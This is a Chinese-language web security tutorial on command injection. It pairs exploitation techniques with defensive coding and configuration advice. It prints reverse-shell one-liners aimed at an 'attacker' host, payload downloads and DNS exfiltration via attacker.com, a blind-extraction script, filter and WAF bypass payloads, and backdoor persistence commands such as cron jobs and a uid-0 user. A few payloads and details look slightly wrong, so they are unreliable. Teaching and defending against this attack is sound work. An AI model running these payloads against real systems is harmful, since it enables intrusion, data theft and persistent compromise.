Day-045-命令注入漏洞

# Day 43: 命令注入漏洞

> Web 安全系列第 13 天 | 预计阅读时间：40 分钟 | 难度：★★★★☆

---

## 清单 目录

1. [命令注入概述](#命令注入概述)
2. [漏洞原理详解](#漏洞原理详解)
3. [注入技术分类](#注入技术分类)
4. [Linux 命令注入](#linux 命令注入)
5. [Windows 命令注入](#windows 命令注入)
6. [盲注技术](#盲注技术)
7. [Bypass 技术](#bypass 技术)
8. [检测与利用流程](#检测与利用流程)
9. [防护策略与最佳实践](#防护策略与最佳实践)
10. [总结与思考](#总结与思考)
11. [参考资料](#参考资料)

---

## 命令注入概述

### 什么是命令注入

命令注入（Command Injection）是指攻击者通过在 Web 应用中注入系统命令，让服务器执行任意系统命令的漏洞。

**形象理解**：
如果把 Web 应用比作一个餐厅服务员，那么：
- **正常请求** = 顾客点菜"我要一份牛排"
- **命令注入** = 顾客说"我要一份牛排，顺便把厨房炸了"
- **服务员** = 系统命令执行函数
- **后果** = 服务员真的去炸厨房（执行恶意命令）

**命令注入与 SQL 注入的区别**：
```
SQL 注入：
- 针对数据库
- 注入 SQL 语句
- 窃取/篡改数据

命令注入：
- 针对操作系统
- 注入系统命令
- 执行任意代码
- 获取服务器权限
```

**危害**：
```
1. 服务器沦陷
   - 执行任意命令
   - 读取敏感文件
   - 写入 Webshell

2. 内网渗透
   - 扫描内网
   - 攻击其他服务器
   - 横向移动

3. 数据泄露
   - 读取数据库
   - 窃取用户信息
   - 商业机密泄露
```

**真实案例**：
```
案例 1: 某路由器厂商（2019）
- 漏洞：命令注入
- 影响：数百万路由器
- 手法：ping 功能未过滤
- 后果：设备被控制

案例 2: 某监控设备（2020）
- 漏洞：命令注入
- 影响：数万台设备
- 手法：诊断功能注入
- 后果：设备变僵尸网络
```

---

## 漏洞原理详解

### 为什么会发生漏洞

**根本原因**：
```
1. 信任用户输入
   - 未验证输入
   - 未过滤特殊字符
   - 直接拼接命令

2. 使用危险函数
   - system()
   - exec()
   - passthru()
   - shell_exec()

3. 缺少转义
   - 未使用 escapeshellarg()
   - 未使用 escapeshellcmd()
```

**漏洞代码示例**：
```php
<?php
// - 错误做法
$ip = $_GET['ip'];
system("ping -c 4 " . $ip);

// 攻击者输入
?ip=127.0.0.1; whoami

// 实际执行
ping -c 4 127.0.0.1; whoami
→ 执行两个命令

// + 正确做法
$ip = $_GET['ip'];
$ip = escapeshellarg($ip);
system("ping -c 4 " . $ip);
?>
```

**Python 示例**：
```python
# - 错误做法
import os
ip = request.args.get('ip')
os.system("ping -c 4 " + ip)

# + 正确做法
import subprocess
ip = request.args.get('ip')
subprocess.run(["ping", "-c", "4", ip])
```

---

## 注入技术分类

### 按执行方式分类

**直接执行**：
```
命令直接执行，有回显
?ip=127.0.0.1; whoami
→ 显示 whoami 结果
```

**管道执行**：
```
使用管道连接命令
?ip=127.0.0.1 | whoami
?ip=127.0.0.1 || whoami
→ 显示 whoami 结果
```

**后台执行**：
```
命令后台执行
?ip=127.0.0.1 & whoami &
?ip=127.0.0.1 && whoami &
→ 命令执行，可能无回显
```

### 按回显分类

**有回显注入**：
```
命令执行结果直接显示
?ip=127.0.0.1; cat /etc/passwd
→ 显示文件内容
```

**盲注**：
```
命令执行但无回显
?ip=127.0.0.1; whoami > /tmp/out
→ 需要其他方法获取结果
```

---

## Linux 命令注入

### 常用命令分隔符

**分号（;）**：
```bash
# 分隔多个命令
?ip=127.0.0.1; whoami
# 执行：ping 127.0.0.1; whoami
```

**管道（|）**：
```bash
# 管道连接
?ip=127.0.0.1 | whoami
# 执行：whoami（忽略 ping）
```

**逻辑与（&&）**：
```bash
# 前一个成功才执行
?ip=127.0.0.1 && whoami
# 执行：ping 成功则执行 whoami
```

**逻辑或（||）**：
```bash
# 前一个失败才执行
?ip=invalid || whoami
# 执行：ping 失败则执行 whoami
```

**反引号（`）**：
```bash
# 命令替换
?ip=`whoami`
# 执行：ping $(whoami)
```

**$()**：
```bash
# 命令替换
?ip=$(whoami)
# 执行：ping $(whoami)
```

### 常用利用命令

**信息收集**：
```bash
# 系统信息
whoami
id
uname -a
cat /etc/os-release

# 网络信息
ifconfig
ip addr
netstat -an

# 用户信息
cat /etc/passwd
cat /etc/shadow
w
last
```

**文件操作**：
```bash
# 读取文件
cat /etc/passwd
head /var/log/auth.log
tail /var/www/html/config.php

# 查找文件
find / -name "*.php"
find /var/www -type f

# 下载文件
wget http://attacker.com/shell.php
curl -o shell.php http://attacker.com/shell.php
```

**权限提升**：
```bash
# 检查 sudo 权限
sudo -l

# 查找 SUID 文件
find / -perm -4000 -type f 2>/dev/null

# 检查内核版本
uname -r
# 查找对应提权漏洞
```

**反弹 Shell**：
```bash
# Bash
bash -i >& /dev/tcp/attacker/4444 0>&1

# Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

# PHP
php -r '$sock=fsockopen("attacker",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# Ruby
ruby -rsocket -e'f=TCPSocket.open("attacker",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
```

### 实际利用示例

**Ping 功能注入**：
```php
<?php
$ip = $_GET['ip'];
system("ping -c 4 " . $ip);
?>

?ip=127.0.0.1; whoami
?ip=127.0.0.1 | cat /etc/passwd
?ip=$(whoami)
```

**文件管理注入**：
```php
<?php
$file = $_GET['file'];
system("cat " . $file);
?>

?file=/etc/passwd; whoami
?file=/etc/passwd | head -5
```

**备份功能注入**：
```php
<?php
$database = $_GET['db'];
system("mysqldump " . $database . " > backup.sql");
?>

?db=test; cat /etc/shadow
?db=test | cat /etc/passwd
```

---

## Windows 命令注入

### 命令分隔符

**与号（&）**：
```cmd
&ip=127.0.0.1&whoami
& 执行多个命令
```

**管道（|）**：
```cmd
&ip=127.0.0.1|whoami
| 管道连接
```

**双与号（&&）**：
```cmd
&ip=127.0.0.1&&whoami
&& 前一个成功才执行
```

**双竖线（||）**：
```cmd
&ip=invalid||whoami
|| 前一个失败才执行
```

### 常用命令

**系统信息**：
```cmd
whoami
hostname
systeminfo
ver
```

**网络信息**：
```cmd
ipconfig /all
netstat -an
route print
```

**用户信息**：
```cmd
net user
net localgroup administrators
query user
```

**文件操作**：
```cmd
type C:\Windows\win.ini
dir C:\Users
more C:\boot.ini
```

**反弹 Shell**：
```cmd
# PowerShell
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('attacker',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

# certutil 下载
certutil -urlcache -split -f http://attacker.com/shell.exe shell.exe
```

---

## 盲注技术

### 什么是盲注

**盲注场景**：
```
命令执行但无回显
- 输出被重定向
- 命令本身无输出
- 网络隔离
```

**检测方法**：
```
1. 时间延迟
2. DNS 外带
3. 文件创建
4. 网络请求
```

### 时间盲注

**Linux 延迟**：
```bash
# sleep 命令
?ip=127.0.0.1; sleep 5

# ping 延迟
?ip=127.0.0.1; ping -c 5 127.0.0.1

# 条件延迟
?ip=127.0.0.1; if [ $(whoami | cut -c1) = "r" ]; then sleep 5; fi
```

**Windows 延迟**：
```cmd
# timeout 命令
&ip=127.0.0.1&timeout /t 5

# ping 延迟
&ip=127.0.0.1&ping -n 5 127.0.0.1

# 条件延迟
&ip=127.0.0.1&if "%USERNAME:~0,1%"=="a" ping -n 5 127.0.0.1
```

**自动化脚本**：
```python
#!/usr/bin/env python3
# time_blind.py

import requests
import time

def check_char(url, param, position, char):
    """检查指定位置的字符"""
    # 构造 Payload
    payload = f"127.0.0.1; if [ $(whoami | cut -c{position}) = {char} ]; then sleep 2; fi"
    
    # 发送请求并计时
    start = time.time()
    requests.get(f"{url}?{param}={payload}")
    end = time.time()
    
    # 判断时间差
    return (end - start) >= 2

def blind_exploit(url, param):
    """盲注获取结果"""
    result = ""
    chars = "abcdefghijklmnopqrstuvwxyz0123456789_"
    
    for pos in range(1, 20):
        for char in chars:
            if check_char(url, param, pos, char):
                result += char
                print(f"\r当前结果：{result}", end="")
                break
        else:
            break
    
    return result

# 使用示例
url = "http://target.com/ping.php"
param = "ip"
username = blind_exploit(url, param)
print(f"\n当前用户：{username}")
```

### DNS 外带

**Linux DNS 外带**：
```bash
# nslookup
?ip=127.0.0.1; nslookup $(whoami).attacker.com

# dig
?ip=127.0.0.1; dig $(whoami).attacker.com

# 条件外带
?ip=127.0.0.1; if [ $(id | cut -d= -f2 | cut -d' ' -f1) = "0" ]; then nslookup root.attacker.com; fi
```

**Windows DNS 外带**：
```cmd
# nslookup
&ip=127.0.0.1&nslookup $(whoami).attacker.com

# PowerShell
&ip=127.0.0.1&powershell -c "Resolve-DnsName $(whoami).attacker.com"
```

**搭建 DNS 日志服务器**：
```bash
# 使用 dnslog.cn
# 访问 http://dnslog.cn/
# 获取随机子域名
# 构造 Payload

# 或使用 Python 搭建
from dnslib import DNSRecord, DNSHeader, RR, A

class DNSLogger:
    def log(self, data):
        with open('dns_log.txt', 'a') as f:
            f.write(f"{data}\n")
        print(f"[+] 收到查询：{data}")

# 启动 DNS 服务器
# 记录查询的子域名
# 子域名中包含命令执行结果
```

### 文件盲注

**创建文件**：
```bash
# 创建文件
?ip=127.0.0.1; touch /tmp/poc

# 条件创建
?ip=127.0.0.1; if [ $(whoami) = "root" ]; then touch /tmp/root; fi

# 写入内容
?ip=127.0.0.1; echo "poc" > /tmp/poc.txt
```

**检查文件**：
```bash
# 检查文件是否存在
?ip=127.0.0.1; if [ -f /tmp/poc ]; then sleep 2; fi

# 检查文件内容
?ip=127.0.0.1; if [ "$(cat /tmp/poc)" = "poc" ]; then sleep 2; fi
```

---

## Bypass 技术

### 空格绕过

**Linux 空格绕过**：
```bash
# ${IFS}
?ip=127.0.0.1;cat${IFS}/etc/passwd

# <>
?ip=127.0.0.1;cat</etc/passwd

# 重定向
?ip=127.0.0.1;cat</etc/passwd

# Tab
?ip=127.0.0.1;cat	/etc/passwd
```

**Windows 空格绕过**：
```cmd
# %USERNAME:~0,0%
&ip=127.0.0.1&dir%USERNAME:~0,0%C:\

# 逗号
&ip=127.0.0.1&dir,C:\
```

### 关键字过滤绕过

**命令替换**：
```bash
# 过滤 cat
?ip=127.0.0.1; ta$c /etc/passwd
?ip=127.0.0.1; cat${IFS}/etc/passwd
?ip=127.0.0.1; $(echo ca$(echo t) /etc/passwd)
```

**编码绕过**：
```bash
# Base64
?ip=127.0.0.1; echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash

# 十六进制
?ip=127.0.0.1; $(printf '\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64')
```

**变量绕过**：
```bash
# 定义变量
?ip=127.0.0.1;a=cat;b=/etc/passwd;$a$b

# 数组
?ip=127.0.0.1;x=(c a t);${x[@]} /etc/passwd
```

### WAF 绕过

**大小写混合**：
```bash
# 某些命令支持大小写
?ip=127.0.0.1; WHOAMI
?ip=127.0.0.1; Cat /etc/passwd
```

**路径绕过**：
```bash
# 使用绝对路径
?ip=127.0.0.1; /bin/cat /etc/passwd
?ip=127.0.0.1; /usr/bin/whoami

# 使用符号链接
?ip=127.0.0.1; /bin/../bin/cat /etc/passwd
```

**特殊语法**：
```bash
# 大括号展开
?ip=127.0.0.1; {cat,/etc/passwd}

# 反斜杠
?ip=127.0.0.1; \c\a\t /etc/passwd
```

---

## 检测与利用流程

### 手工检测

**步骤 1: 寻找命令执行点**：
```
□ Ping 功能
□ Traceroute 功能
□ 文件管理
□ 备份功能
□ 系统诊断
□ 邮件发送
```

**步骤 2: 测试基础 Payload**：
```bash
# 简单命令
?ip=127.0.0.1; whoami
?ip=127.0.0.1 | whoami

# 时间延迟
?ip=127.0.0.1; sleep 5

# 命令替换
?ip=$(whoami)
```

**步骤 3: 观察响应**：
```
- 命令执行结果 → 确认漏洞
- 时间延迟 → 可能盲注
- 错误信息 → 可能注入
- 无变化 → 可能无漏洞
```

### 自动化工具

**Commix**：
```bash
# 安装
git clone https://github.com/commixproject/commix
cd commix
python commix.py

# 检测
python commix.py --url "http://target.com/ping.php?ip=127.0.0.1"

# 交互式 Shell
python commix.py --url "http://target.com/ping.php?ip=127.0.0.1" --os-shell
```

**Burp Suite**：
```
1. 拦截请求
2. 发送到 Intruder
3. 使用 Payload 列表
4. 观察响应差异
```

### 利用流程

**信息收集**：
```bash
# 系统信息
whoami
id
uname -a
hostname

# 网络信息
ifconfig
netstat -an

# 文件权限
ls -la
```

**权限提升**：
```bash
# 检查 sudo
sudo -l

# 查找 SUID
find / -perm -4000 -type f

# 内核漏洞
uname -r
# 搜索对应 exploit
```

**持久化**：
```bash
# 写入 crontab
echo "* * * * * /tmp/backdoor" | crontab -

# 写入启动项
echo "/tmp/backdoor" >> /etc/rc.local

# 创建后门用户
useradd -o -u 0 -g 0 backdoor
```

---

## 防护策略与最佳实践

### 代码层面防护

**避免命令执行**：
```php
// - 错误做法
system("ping -c 4 " . $_GET['ip']);

// + 正确做法
// 使用内置函数
exec("ping -c 4 " . escapeshellarg($_GET['ip']));

// + 最佳做法
// 避免命令执行，使用库函数
$ip = $_GET['ip'];
if (filter_var($ip, FILTER_VALIDATE_IP)) {
    // 使用 PHP 网络函数
    exec("ping -c 4 " . escapeshellarg($ip));
}
```

**输入验证**：
```php
// 白名单验证
$allowed_ips = ['192.168.1.1', '192.168.1.2'];
if (in_array($_GET['ip'], $allowed_ips)) {
    exec("ping -c 4 " . escapeshellarg($_GET['ip']));
}

// 正则验证
if (preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $_GET['ip'])) {
    exec("ping -c 4 " . escapeshellarg($_GET['ip']));
}
```

**转义函数**：
```php
// escapeshellarg() - 转义参数
$ip = escapeshellarg($_GET['ip']);
system("ping -c 4 " . $ip);

// escapeshellcmd() - 转义命令
$cmd = escapeshellcmd($_GET['cmd']);
system($cmd);
```

**Python 防护**：
```python
# - 错误做法
import os
os.system("ping -c 4 " + ip)

# + 正确做法
import subprocess
subprocess.run(["ping", "-c", "4", ip])

# + 最佳做法
import subprocess
try:
    result = subprocess.run(
        ["ping", "-c", "4", ip],
        capture_output=True,
        timeout=5,
        check=True
    )
except subprocess.CalledProcessError as e:
    # 处理错误
    pass
```

### 配置防护

**禁用危险函数**：
```php
// php.ini
disable_functions = system,exec,passthru,shell_exec,popen,proc_open

// 或只禁用部分
disable_functions = system,exec,passthru
```

**权限控制**：
```bash
# Web 用户最小权限
# 不能执行敏感命令
# 不能访问敏感文件
```

**chroot 隔离**：
```bash
# 将 Web 应用隔离在 chroot 环境
# 限制可访问的文件系统
```

### 运行时防护

**WAF 规则**：
```
检测命令注入特征：
- ; | && ||
- $() ``
- 系统命令关键字

阻断可疑请求：
- 包含命令分隔符
- 包含危险命令
- 来源可疑
```

**监控告警**：
```
监控：
- 命令执行函数调用
- 异常命令执行
- 敏感文件访问

告警：
- 命令注入尝试
- 可疑命令执行
- 权限提升尝试
```

---

## 实战案例分析

### 案例 1: 路由器命令注入

**漏洞描述**：
```
设备：某品牌路由器
漏洞：Ping 功能命令注入
影响：设备完全控制
CVE: CVE-2019-XXXX
```

**发现过程**：
```
1. 测试 Ping 功能
   输入 127.0.0.1，正常响应

2. 测试注入
   输入 127.0.0.1; whoami
   返回 root

3. 确认漏洞
   输入 127.0.0.1 | cat /etc/passwd
   返回用户列表

4. 利用漏洞
   反弹 Shell
   获取设备控制权
```

**利用 Payload**：
```bash
# 信息收集
127.0.0.1; whoami
127.0.0.1; cat /etc/passwd

# 反弹 Shell
127.0.0.1; bash -i >& /dev/tcp/attacker/4444 0>&1

# 持久化
127.0.0.1; echo "*/5 * * * * /tmp/backdoor" | crontab -
```

**修复方案**：
```
1. 输入验证
   只允许 IP 地址

2. 命令转义
   使用 escapeshellarg()

3. 权限限制
   Web 用户不能执行敏感命令

4. 固件更新
   发布安全补丁
```

### 案例 2: 监控系统命令注入

**漏洞描述**：
```
系统：某视频监控平台
漏洞：诊断功能命令注入
影响：数千台设备沦陷
```

**攻击流程**：
```
1. 扫描设备
   寻找存在漏洞的设备

2. 测试注入
   诊断功能测试命令注入

3. 批量利用
   自动化脚本批量攻击

4. 植入后门
   下载并执行恶意软件

5. 组建僵尸网络
   设备变为僵尸网络节点
```

**修复方案**：
```
1. 移除危险功能
   禁用诊断功能

2. 输入验证
   严格验证所有输入

3. 网络隔离
   设备不能访问互联网

4. 固件更新
   强制更新固件
```

---

## 总结与思考

### 核心要点回顾

1. **命令注入原理**
   - 用户输入拼接到命令
   - 特殊字符分隔命令
   - 执行任意系统命令

2. **利用技术**
   - 直接执行
   - 盲注技术
   - Bypass 技术

3. **防护策略**
   - 避免命令执行
   - 输入验证
   - 命令转义

### 深入思考问题

1. **为什么命令注入依然普遍**？
   - 遗留系统
   - 开发人员意识不足
   - 第三方组件

2. **云环境下的风险**？
   - 容器逃逸
   - 元数据服务
   - 新的攻击面

3. **未来防护方向**？
   - 无命令执行设计
   - 运行时保护
   - AI 辅助检测

### 实战建议

**开发人员**：
1. 避免命令执行
2. 使用安全 API
3. 输入验证
4. 命令转义

**安全人员**：
1. 定期扫描
2. 渗透测试
3. 代码审计
4. 监控告警

**管理层**：
1. 安全培训
2. 安全开发生命周期
3. 第三方组件管理
4. 应急响应预案

---

## 参考资料

### 学习资源
- [OWASP Command Injection](https://owasp.org/www-community/attacks/Command_Injection)
- [Command Injection Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)

### 工具资源
- [Commix](https://github.com/commixproject/commix)
- [Burp Suite](https://portswigger.net/burp)
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)

### 书籍推荐
- 《Web 安全深度剖析》
- 《白帽子讲 Web 安全》
- 《The Web Application Hacker's Handbook》

---

**标记 明日预告**：Day 44 - 命令注入防御与命令注入防护

> 本文内容仅供学习和研究使用，请勿用于非法目的。所有实验请在隔离环境中进行。

---

*本文是 365 天信息安全技术系列的第 43 篇，Web 安全部分第 13 篇，精编版本*